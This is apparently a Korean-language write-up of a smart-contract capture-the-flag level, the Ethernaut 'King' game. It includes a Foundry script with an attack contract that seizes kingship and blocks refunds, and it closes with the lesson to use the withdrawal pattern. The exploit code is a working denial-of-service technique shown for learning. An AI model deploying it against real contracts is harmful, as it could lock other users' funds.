The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
문제 풀다가 먼소린지 모르겠는건 첨이라 좀 찾아봄
https://solidity-kr.readthedocs.io/ko/latest/common-patterns.html#withdrawal-pattern
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/king.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract Attack {
constructor(King _kingInstacne) payable {
(bool result,) = address(_kingInstacne).call{value: _kingInstacne.prize()}("");
require(result);
}
}
contract POC is Script {
King public target;
function setUp() external {
address payable kingAddress = payable(vm.envAddress("level_contract_address"));
target = King(kingAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
new Attack{value: target.prize()}(target);
console.log("Attack completed");
}
}
이더를 바로 전송하지 말고 출금 패턴 사용하기 ..!!